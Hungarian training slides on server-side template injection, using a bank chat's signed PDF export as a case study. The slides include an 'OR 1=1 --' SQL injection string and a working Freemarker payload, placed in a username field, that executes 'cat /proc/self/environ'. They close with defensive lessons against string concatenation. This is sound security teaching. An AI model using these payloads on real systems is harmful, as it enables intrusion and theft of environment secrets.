

Szerveroldali template injection

Rosszul fejlesztett PDF export az incidens melegágya



Márk Módly

OWASP TOP 10



HARDCORE IT

- Open Web Application Security Project (O.W.A.S.P)
 - 2001-óta: iránymutatás, szoftver
- 10 leggyakoribb (web) fejlesztési hiba
 - Nem megfelelő logolás és monitorozás
 - Ismert sebezhetőséggel rendelkező komponensek használata
 - Nem biztonságos deserializáció
 - Cross site scripting (XSS)
 - Hibás security konfiguráció
 - Hibás hozzáférés vezérlés
 - XML external entities (XXE)
 - Érzékeny adat kitettség
 - Hibás autentikáció
 - Injekciós támadások



Injekció “éremtáblázat”

- 2003 OWASP TOP 10
 - 6. helyezett
- 2004 OWASP TOP 10
 - 6. helyezett
- 2007 OWASP TOP 10
 - 2. helyezett
- 2010 OWASP TOP 10
 - 1. helyezett
- 2013 OWASP TOP 10
 - 1. helyezett
- 2017 OWASP TOP 10
 - 1. helyezett

Minden injekciós támadás gyökere

```
String data = "Start " + input + " end";  
var data = "Start" + input + " end";  
$data = "Start ".$input." end";  
data := 'Start ' || input || ' end'  
data = "Start " + input + " end"
```

Minden injekciós támadás gyökere

```
String data = (new StringBuilder("Start "))  
    .append(input).append(" end").toString()  
var data = "Start ".concat(input).concat(" end");  
$data = sprintf("Start %s end", input);  
data := CONCAT('Start ', CONCAT(input, ' end'))  
data = "Start {} end".format(input)
```



Injekciós támadások



SQL injekció



OR 1=1 --

Injekciós támadások (SQL nélkül)

- Header injekció
- LDAP injekció
- (OS) Parancs injekció
- XPath injekció
- NoSQL injekció
- **Szerver oldali template injekció**

Szerver oldali template injekció

Szerver oldali template injekció

- **Szerver oldali**
- Engine
 - Java (Freemarker, Velocity, Pebble)
 - PHP (Twig, Smarty)
 - Python (Jinja2, Tornado)
 - ASP.NET (Razor)
 - Ruby (Slim, RBI)

Banki chat

- Szabad szöveg kommunikáció
 - Adatbázisba helyesen prepared statement-tel mentés
- Ügyintézőhöz kapcsolás előtt megszakítható
- Felhasználó letöltheti a névtelen chat “bizonylatát”
 - Formázva
 - Bank által aláírva (PDF)

Felhasználónév

```
<#assign  
ex="freemarker.template.utility.Execute"?new()>  
${ ex("cat /proc/self/environ") }
```


Chat exportálás

```
PID  TTY      STAT   TIME COMMAND
  58  pts/0    Ss      0:00  bash
 754  pts/0    R+      0:00  \_ ps axf
   1  ?        Ss      0:00  sh ./run.sh
   8  ?        Sl      0:14  java -jar server.jar
 755  ?        R       0:00  \_ cat /proc/self/environ
```

Tanulság

- Nem konkatenálunk
 - ~~Összefűzés operátorral~~
 - ~~Funkeióval / metódussal~~
 - ~~String formattal~~
- El kell különíteni a felhasználói bemenetet
 - Parméterként adjuk át
- Súlyosabb probléma mint az SQLi

Aktualitás

A hálózatban a vírus terjedésének
megakadályozására mindenki számára
kötelező a megfelelő
subnet mask használata.

subnet mask használata.

Legalább azt vigyünk
magunkkal az
előadásból, hogy az
injekciós támadások
nem csak SQL
adatbázisok esetén
problémások, rengeteg
más helyen is lehetnek
támadás forrásai!

Kérdéseket, kritikát
szívesen fogadok

info@hardcoreit.com

IT biztonsági oktatás
fejlesztőknek